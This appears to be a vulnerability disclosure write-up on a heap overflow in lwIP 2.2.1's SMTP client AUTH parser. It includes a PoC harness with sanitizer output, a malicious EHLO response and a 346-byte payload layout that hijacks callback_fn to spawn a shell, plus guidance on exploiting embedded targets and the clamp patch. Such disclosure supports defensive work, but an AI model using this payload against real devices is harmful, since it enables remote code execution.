2026-05-16 · research · lwIP 2.2.1 audit series · part 1 of 13
lwIP Audit Series, Part 1 of 13
pbuf_copy_partial(unbounded) → tx_buf[256] overflows into smtp_session::callback_fn → execve("/bin/sh").
The lwIP SMTP client trusts the server to keep its EHLO AUTH capabilities line short. smtp_prepare_auth_or_mail() copies the byte distance between the literal AUTH token and the next \r\n straight into the 255-byte tx_buf, with no clamp against SMTP_TX_BUF_LEN. A malicious or on-path SMTP server can drive a copy of up to roughly 64 KiB into that buffer, plus one trailing NUL past the last byte.
Affected: lwIP 2.2.1 (tag STABLE-2_2_1_RELEASE) and current master. File: src/apps/smtp/smtp.c, function smtp_prepare_auth_or_mail(), lines 1065 and 1068. Fixed via the one-line clamp patch below. End-to-end RCE demo and harness below.
How we ended up auditing lwIP
Most of our day-to-day work is vulnerability research against embedded devices: industrial controllers, BMCs, networked appliances, IoT gateways, and real hardware that ships with an RTOS. After enough of those engagements, the same dependency kept surfacing underneath the vendor code: lwIP. In shipping firmware, lwIP is by far the most common IP stack we run into. It is small, permissively licensed, and pulled into many silicon vendor SDKs.
We started in src/apps/. That directory holds most of the user-facing protocol surface: SMTP, MQTT, HTTP, SNMP, TFTP, and DHCP helpers. It has also had less scrutiny than the core stack. The app modules were bolted on at different times by different contributors, often as minimum-viable protocol parsers. smtp.c was the first file we opened. The bug was visible on the first read: a length derived from a server-controlled offset difference, then handed to pbuf_copy_partial with no clamp against the target buffer.
Root cause
The SMTP session keeps a fixed-size transmit buffer sized at SMTP_TX_BUF_LEN + 1:
// src/apps/smtp/smtp.c:94
#define SMTP_TX_BUF_LEN 255
// src/apps/smtp/smtp.c:239 -- struct smtp_session
char tx_buf[SMTP_TX_BUF_LEN + 1];
Every other producer that fills tx_buf, including HELO/EHLO, PLAIN/LOGIN base64, MAIL, and RCPT, has either a compile-time LWIP_ASSERT("tx_buf overflow detected", ...) or a length parameter bounded by SMTP_TX_BUF_LEN. The AUTH-capability parser has no matching bound.
// src/apps/smtp/smtp.c:1053-1099 -- smtp_prepare_auth_or_mail (abridged)
u16_t auth = pbuf_strstr(s->p, SMTP_KEYWORD_AUTH_SP); // "AUTH "
if (auth == 0xFFFF) {
auth = pbuf_strstr(s->p, SMTP_KEYWORD_AUTH_EQ); // "AUTH="
}
if (auth != 0xFFFF) {
u16_t crlf = pbuf_memfind(s->p, SMTP_CRLF, SMTP_CRLF_LEN, auth);
if ((crlf != 0xFFFF) && (crlf > auth)) {
/* use tx_buf temporarily */
u16_t copied = pbuf_copy_partial(s->p, s->tx_buf,
(u16_t)(crlf - auth), auth); // line 1065
if (copied != 0) {
char *sep = s->tx_buf + SMTP_KEYWORD_AUTH_LEN;
s->tx_buf[copied] = 0; // line 1068
...
auth is the offset of AUTH inside the received pbuf chain. crlf is the offset of the next \r\n after it. Both come from pbuf_strstr/pbuf_memfind, which scan the entire received chain. (u16_t)(crlf - auth) is the only length passed to pbuf_copy_partial. There is no clamp against SMTP_TX_BUF_LEN anywhere on the path.
Two writes go out of bounds when the AUTH capabilities line exceeds 255 bytes:
- The
pbuf_copy_partialat line 1065, bounded only by the pbuf chain length, up to~U16_MAXbytes. - The terminator write at line 1068, one byte at the returned length, past the end of the 256-byte allocation.
Trigger
Standard EHLO multiline form. A real server announces something like:
250-mail.example.com Hello
250-SIZE 1000000
250-AUTH PLAIN LOGIN
250 OK
A hostile server announces:
250-mail.example.com Hello
250-SIZE 1000000
250-AUTH PLAIN LOGIN AAAAAA...(500+ bytes of padding)...AAAAAA
250 OK
pbuf_strstr finds AUTH at one offset. pbuf_memfind finds the terminating \r\n at auth + 5 + 500+. The difference becomes the copy length. The padding bytes spill past tx_buf's last legal index and into whatever lives next in the struct smtp_session: surrounding session bookkeeping, state machine cursors, pbuf * pointers, username/password buffers, and the saved callback context.
Reachability
Network-reachable from any SMTP server the lwIP client connects to. Typical embedded deployments send outbound notification mail without TLS verification of the peer, placing hostile or on-path servers in scope. No authentication is required before the overflow fires. The bug sits in the EHLO response handler, before the client has sent AUTH PLAIN credentials. STARTTLS deployments that fail to validate the upstream certificate are also exposed.
The bug also fires when the application has no SMTP credentials configured. smtp_prepare_auth_or_mail parses the AUTH capabilities line first and only later decides whether to send AUTH PLAIN, AUTH LOGIN, or skip authentication entirely.
Proof of concept
A self-contained C harness reproduces the same arithmetic the real smtp_prepare_auth_or_mail performs, against the same fixed-size tx_buf layout. Compiled with AddressSanitizer it pinpoints the overflowing write at memcpy:
// poc_125_smtp_overflow.c -- abridged
#define SMTP_TX_BUF_LEN 255
struct smtp_session {
char tx_buf[SMTP_TX_BUF_LEN + 1];
};
static void simulate_smtp_parse(struct smtp_session *s,
const u8_t *response, u16_t response_len)
{
/* mirror pbuf_strstr / pbuf_memfind */
const char *found = strstr((const char *)response, "AUTH ");
u16_t auth = (u16_t)(found - (const char *)response);
const char *crlf_str = strstr(found, "\r\n");
u16_t crlf = (u16_t)(crlf_str - (const char *)response);
u16_t copy_len = (u16_t)(crlf - auth); // unbounded
/* VULN: no clamp against SMTP_TX_BUF_LEN */
u16_t copied = pbuf_copy_partial_sim(response, response_len,
s->tx_buf, copy_len, auth);
/* VULN: one-byte OOB NUL */
s->tx_buf[copied] = 0;
}
int main(void) {
const char *prefix = "250-SIZE 1000000\r\n250-AUTH ";
const char *suffix = "\r\n250 OK\r\n";
size_t padding_len = 500; /* enough to overflow 255-byte tx_buf */
/* ... build response with 500 bytes of A-Z padding inside the AUTH line ... */
simulate_smtp_parse(s, response, (u16_t)pos);
}
$ gcc -fsanitize=address,undefined -fno-sanitize-recover=all \
-g -O0 -o poc_125 poc_125_smtp_overflow.c
$ ./poc_125
[*] AUTH found at offset 23
[*] CRLF found at offset 528
[*] Copy length: 505 bytes
[*] tx_buf capacity: 255 bytes
[!] OVERFLOW: will copy 505 bytes into 255-byte buffer!
==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 505 at 0x... thread T0
#0 memcpy asan_interceptors.cpp
#1 pbuf_copy_partial_sim poc_125_smtp_overflow.c
#2 simulate_smtp_parse poc_125_smtp_overflow.c
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy
End-to-end against the real lwIP client takes the same response from a one-screen Python TCP server that accepts a connection, sends the malicious EHLO multiline above, and waits. The crash lands in pbuf_copy_partial on the real target, with the same byte arithmetic.
Impact
Linear heap overflow, or BSS/stack overflow on builds that statically allocate the session. The attacker controls every overflowing byte. The length is bounded only by the size of the SMTP response the client accepts into its pbuf chain, which for most builds is the receive-window cap. The trailing NUL at tx_buf[copied] is a separate single-byte OOB write at an attacker-controlled length.
The fields immediately after tx_buf in struct smtp_session are live state machine variables and pointer references used by later SMTP callbacks. Corrupting them turns the next altcp_write / pbuf_free into a controlled write through a controlled pointer. On embedded targets without ASLR or non-executable stacks, this is a direct path to code execution. On harder targets, it is a deterministic remote crash of the SMTP subsystem.
Watch it land
Software-only end-to-end RCE against the real lwIP 2.2.1 SMTP client. Two terminals: the malicious SMTP server on the left, the lwIP client victim on the right. The victim connects, sends EHLO, receives the poisoned multiline response, sends AUTH PLAIN with the corrupted credentials, the server drops the connection, and the hijacked callback_fn drops into an interactive shell.
./evil_server.py 127.0.0.1 2525 on the left, ./victim 127.0.0.1 2525 on the right. EHLO · poisoned 250-AUTH · hijacked callback_fn The harness
The source read already proves the vulnerability. The harness answers a different question: whether the overflow gives an attacker something useful on a real lwIP build with no source modifications. We use a Linux-userspace harness that runs the unmodified vulnerable code path end to end.
The harness compiles the real lwIP source files straight from the upstream tarball. No patches. No #ifdef escapes.
src/apps/smtp/smtp.c <- vulnerable file, unmodified
src/core/pbuf.c <- real pbuf_strstr / pbuf_memfind / pbuf_copy_partial
src/core/mem.c
src/core/memp.c
src/core/def.c
src/core/init.c
src/core/stats.c
src/core/sys.c
src/core/ipv4/ip4_addr.c
The only substituted piece is the transport. altcp_posix.c implements the half-dozen altcp_* entry points smtp.c calls (altcp_tcp_new_ip_type, altcp_connect, altcp_write, altcp_close, the callback-arg accessors) on top of plain POSIX sockets. From smtp.c's perspective, the API contract matches the real altcp_tcp.c. A pcb gets allocated. connect resolves. recv callbacks fire on incoming pbufs. sent callbacks fire after the kernel acks. The vulnerable parser runs through the real pbuf_* functions, against the real struct smtp_session allocated by the real mem_malloc(). The corrupted state machine is the real one.
Two design decisions in the shim matter for exploitation:
sent()is deferred. Real lwIP TCP firessentfrom an interrupt or timer tick. Our first cut called it inline and immediately deadlocked into an infinite EHLO loop, becausesmtp_processcallsaltcp_writebefore it advancess->stateand freess->p. A synchronoussent()re-entered the state machine with stale fields and walked the wrong case branch forever. Deferring the callback to the next pump iteration matches real lwIP timing.pwn()is pinned at0x500000via-Wl,--section-start=.pwn=0x500000. The payload encodes the function-pointer overwrite as 8 raw bytes. If any byte is0x0dor0x0a,pbuf_memfindterminates the AUTH line early and the overflow length collapses. Pinning the address at0x500000guarantees the bytes are00 00 50 00 00 00 00 00. No CR. No LF. No rebuild drift.
The malicious server is a thirty-line Python script. It runs the victim binary with --print-payload to dump the exact 346-byte AUTH-line payload (computed by offsetof() against a layout twin of struct smtp_session), then accepts the SMTP connection and feeds the bytes back as a normal-looking EHLO multiline:
250-evil.local Hello\r\n
250-SIZE 1000000\r\n
250-AUTH PLAIN LOGIN AAAA...<346 bytes ending in &pwn>\r\n
250 OK\r\n
The 346 bytes break down to: 256 bytes that fill tx_buf legitimately, 8 NUL bytes to overwrite s->p, 64 NUL bytes through from, to, subject, body and their lengths, 8 bytes of &pwn landing on callback_fn, then 8 NUL bytes on callback_arg. When the server drops the connection, lwIP delivers EOF to smtp_tcp_recv with p == NULL. That calls smtp_close() → smtp_free(). smtp_free() reads callback_fn and invokes it. Shell.
The full harness is in poc/ of the lwIP 2.2.1 source tree we audited. It includes Makefile, lwipopts.h, altcp shim, driver, evil server, and README. Build, two-pane run, shell. No tap interface, no QEMU, no root.
What this looks like on a real device
The harness shortcuts the network stack. The bug remains the same. On a real RTOS/embedded build the same overflow fires at the same line of smtp.c, against the same struct smtp_session, with the same field offsets. Three knobs decide how loud the resulting primitive is:
Where the session lives. Most RTOS lwIP integrations let the application pass a pre-allocated smtp_session. SMTP_STATE_MALLOC/SMTP_STATE_FREE can be redirected at compile time to a static buffer or a board-specific pool allocator. When the session sits in BSS, the overflow reaches whatever the linker placed next: other lwIP state, a small RTOS task control block, or another driver's static buffer. When it sits on the heap, FreeRTOS heap_4 / heap_5 packs allocations contiguously. The bytes immediately after tx_buf are the next allocation's header, giving a free-list corruption primitive on the next pbuf_free.
Where callback_fn points. On Linux userspace we pinned &pwn at 0x500000 for stable payload bytes. On a Cortex-M, function pointers are 4-byte little-endian thumb addresses with bit 0 set. Those bytes are usually CR/LF-free, and the attacker can read them from the firmware image or a leaked text-segment pointer. Any pre-existing function the attacker wants to call with mostly-zero arguments can work: DMA-reset routines, image-update entry points, or a serial-shell entrypoint left over from bring-up.
What the platform deploys against return-flow hijacks. Stock FreeRTOS / Zephyr / mbedOS on a Cortex-M0+/M3/M4 has no MMU, no ASLR, and no W^X for SRAM. The bug is a deterministic indirect call to an attacker-chosen address. Cortex-M33/M55 with TrustZone-M can place lwIP in non-secure state with NSC veneers, narrowing the call target set. The overwrite still occurs in non-secure code, on non-secure data, and the hijacked pointer is called from non-secure code. On Linux/userspace lwIP, the configuration our harness models, it is a function-pointer overwrite on the heap with the usual ASLR/RELRO/CFI questions in scope. We demonstrated reachability.
The lwIP SMTP client appears in shipping firmware as the outbound notification path for industrial controllers, networked print servers, IPMI BMCs, solar/PV inverter monitors, and "phone home" features that target operations mailboxes. Many deployments use an internal mail relay over an unauthenticated SMTP submission port. An attacker already inside the operational network can turn the SMTP client into a code-execution beachhead on every device that talks to it.
The fix
--- a/src/apps/smtp/smtp.c
+++ b/src/apps/smtp/smtp.c
@@ -1062,7 +1062,12 @@ smtp_prepare_auth_or_mail(struct smtp_session *s, u16_t *tx_buf_len)
u16_t crlf = pbuf_memfind(s->p, SMTP_CRLF, SMTP_CRLF_LEN, auth);
if ((crlf != 0xFFFF) && (crlf > auth)) {
/* use tx_buf temporarily */
- u16_t copied = pbuf_copy_partial(s->p, s->tx_buf, (u16_t)(crlf - auth), auth);
+ /* Clamp copy length to tx_buf capacity. (crlf - auth) is derived from
+ * the server response and can exceed SMTP_TX_BUF_LEN if a malicious
+ * server sends an AUTH capabilities line longer than 255 bytes. */
+ u16_t auth_line_len = (u16_t)(crlf - auth);
+ u16_t safe_len = (auth_line_len < SMTP_TX_BUF_LEN) ? auth_line_len : SMTP_TX_BUF_LEN;
+ u16_t copied = pbuf_copy_partial(s->p, s->tx_buf, safe_len, auth);
if (copied != 0) {
char *sep = s->tx_buf + SMTP_KEYWORD_AUTH_LEN;
s->tx_buf[copied] = 0;
The downstream strstr(sep, SMTP_AUTH_PARAM_PLAIN) and strstr(sep, SMTP_AUTH_PARAM_LOGIN) still find the PLAIN/LOGIN tokens if they are within the first 255 bytes of the AUTH line, which they always are for any non-pathological server. If the real keywords get truncated, the function falls through to smtp_prepare_mail just as it does today when the server omits AUTH entirely.
References
| Field | Value |
|---|---|
| Project | lwIP, A Lightweight TCP/IP stack |
| Affected | STABLE-2_2_1_RELEASE and current master |
| File | src/apps/smtp/smtp.c, function smtp_prepare_auth_or_mail |
| Class | Heap/stack buffer overflow (CWE-120 / CWE-787) |
| Reach | Network, pre-auth, from any reachable SMTP server |
| Report | Coordinated upstream disclosure |
| Patch | patch_125_smtp_txbuf.diff |
| PoC | poc_125_smtp_overflow.c |